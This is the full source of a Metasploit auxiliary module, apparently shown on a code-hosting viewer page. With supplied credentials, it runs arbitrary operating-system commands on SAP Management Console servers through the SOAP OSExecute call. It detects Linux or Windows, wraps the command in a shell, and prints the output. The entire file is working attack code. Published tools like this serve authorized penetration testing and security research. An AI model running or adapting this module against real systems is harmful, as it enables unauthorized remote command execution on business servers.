Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/admin/sap/sap_mgmt_con_osexec.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::HttpClient7include Msf::Auxiliary::Report8include Msf::Auxiliary::Scanner910def initialize11super(12'Name' => 'SAP Management Console OSExecute',13'Description' => %q{14This module allows execution of operating system commands through the SAP15Management Console SOAP Interface. A valid username and password must be16provided.17},18'References' =>19[20# General21[ 'URL', 'http://blog.c22.cc' ]22],23'Author' => [ 'Chris John Riley' ],24'License' => MSF_LICENSE25)2627register_options(28[29Opt::RPORT(50013),30OptString.new('URI', [false, 'Path to the SAP Management Console ', '/']),31OptString.new('HttpUsername', [true, 'Username to use', '']),32OptString.new('HttpPassword', [true, 'Password to use', '']),33OptString.new('CMD', [true, 'Command to run', 'set']),34])35register_autofilter_ports([ 50013 ])36end3738def run_host(ip)39# Check version information to confirm Win/Lin4041soapenv='http://schemas.xmlsoap.org/soap/envelope/'42xsi='http://www.w3.org/2001/XMLSchema-instance'43xs='http://www.w3.org/2001/XMLSchema'44sapsess='http://www.sap.com/webas/630/soap/features/session/'45ns1='ns1:GetVersionInfo' # Using GetVersionInfo to enumerate target type4647data = '<?xml version="1.0" encoding="utf-8"?>' + "\r\n"48data << '<SOAP-ENV:Envelope xmlns:SOAP-ENV="' + soapenv49data << '" xmlns:xsi="' + xsi + '" xmlns:xs="' + xs + '">' + "\r\n"50data << '<SOAP-ENV:Header>' + "\r\n"51data << '<sapsess:Session xlmns:sapsess="' + sapsess + '">' + "\r\n"52data << '<enableSession>true</enableSession>' + "\r\n"53data << '</sapsess:Session>' + "\r\n"54data << '</SOAP-ENV:Header>' + "\r\n"55data << '<SOAP-ENV:Body>' + "\r\n"56data << '<'+ ns1 + ' xmlns:ns1="urn:SAPControl"></' + ns1 +'>' + "\r\n"57data << '</SOAP-ENV:Body>' + "\r\n"58data << '</SOAP-ENV:Envelope>' + "\r\n\r\n"5960print_status("[SAP] Attempting to enumerate remote host type")6162begin63res = send_request_raw({64'uri' => normalize_uri(datastore['URI']),65'method' => 'POST',66'data' => data,67'headers' =>68{69'Content-Length' => data.length,70'SOAPAction' => '""',71'Content-Type' => 'text/xml; charset=UTF-8',72}73}, 60)7475rescue ::Rex::ConnectionError76print_error("#{rhost}:#{rport} [SAP] Unable to communicate")77return :abort78end7980if not res81print_error("#{rhost}:#{rport} [SAP] Unable to connect")82return83elsif res.code == 20084body = res.body85if body.match(/linux/i)86print_status("[SAP] Linux target detected")87cmd_to_run = '/bin/sh -c ' + datastore['CMD']88elsif body.match(/NT/)89print_status("[SAP] Windows target detected")90cmd_to_run = 'cmd /c ' + datastore['CMD']91else92print_status("[SAP] Unknown target detected, defaulting to *nix syntax")93cmd_to_run = '/bin/sh -c ' + datastore['CMD']94end95end9697osexecute(ip, cmd_to_run)98end99100def osexecute(rhost, cmd_to_run)101102print_status("[SAP] Connecting to SAP Management Console SOAP Interface on #{rhost}:#{rport}")103success = false104105soapenv = 'http://schemas.xmlsoap.org/soap/envelope/'106xsi = 'http://www.w3.org/2001/XMLSchema-instance'107xs = 'http://www.w3.org/2001/XMLSchema'108sapsess = 'http://www.sap.com/webas/630/soap/features/session/'109ns1 = 'ns1:OSExecute'110111data = '<?xml version="1.0" encoding="utf-8"?>' + "\r\n"112data << '<SOAP-ENV:Envelope xmlns:SOAP-ENV="' + soapenv + '" xmlns:xsi="' + xsi113data << '" xmlns:xs="' + xs + '">' + "\r\n"114data << '<SOAP-ENV:Header>' + "\r\n"115data << '<sapsess:Session xlmns:sapsess="' + sapsess + '">' + "\r\n"116data << '<enableSession>true</enableSession>' + "\r\n"117data << '</sapsess:Session>' + "\r\n"118data << '</SOAP-ENV:Header>' + "\r\n"119data << '<SOAP-ENV:Body>' + "\r\n"120data << '<' + ns1 + ' xmlns:ns1="urn:SAPControl"><command>' + cmd_to_run121data << '</command><async>0</async></' + ns1 + '>' + "\r\n"122data << '</SOAP-ENV:Body>' + "\r\n"123data << '</SOAP-ENV:Envelope>' + "\r\n\r\n"124125user_pass = Rex::Text.encode_base64(datastore['HttpUsername'] + ":" + datastore['HttpPassword'])126127begin128res = send_request_raw({129'uri' => normalize_uri(datastore['URI']),130'method' => 'POST',131'data' => data,132'headers' =>133{134'Content-Length' => data.length,135'SOAPAction' => '""',136'Authorization' => 'Basic ' + user_pass,137'Content-Type' => 'text/xml; charset=UTF-8',138}139}, 60)140141if res and res.code == 200142success = true143body = CGI::unescapeHTML(res.body)144if body.match(/<exitcode>(.*)<\/exitcode>/i)145exitcode = $1.to_i146end147if body.match(/<pid>(.*)<\/pid>/i)148pid = $1.strip149end150if body.match(/<lines>(.*)<\/lines>/i)151items = body.scan(/<item>(.*?)<\/item>/i)152end153elsif res and res.code == 500154case res.body155when /<faultstring>(.*)<\/faultstring>/i156faultcode = "#{$1}"157fault = true158end159else160print_error("#{rhost}:#{rport} [SAP] Unknown response received")161return162end163164rescue ::Rex::ConnectionError165print_error("#{rhost}:#{rport} [SAP] Unable to attempt authentication")166return :abort167end168169if success170if exitcode > 0171print_error("#{rhost}:#{rport} [SAP] Command exitcode: #{exitcode}")172else173print_good("#{rhost}:#{rport} [SAP] Command exitcode: #{exitcode}")174end175176saptbl = Msf::Ui::Console::Table.new(177Msf::Ui::Console::Table::Style::Default,178'Header' => '[SAP] OSExecute',179'Prefix' => "\n",180'Columns' => [ 'Command output' ]181)182183items.each do |output|184saptbl << [ output[0] ]185end186187print_good("#{rhost}:#{rport} [SAP] Command (#{cmd_to_run}) ran as PID: #{pid}\n#{saptbl.to_s}")188189elsif fault190print_error("#{rhost}:#{rport} [SAP] Error code: #{faultcode}")191return192else193print_error("#{rhost}:#{rport} [SAP] failed to run command")194return195end196end197end198199200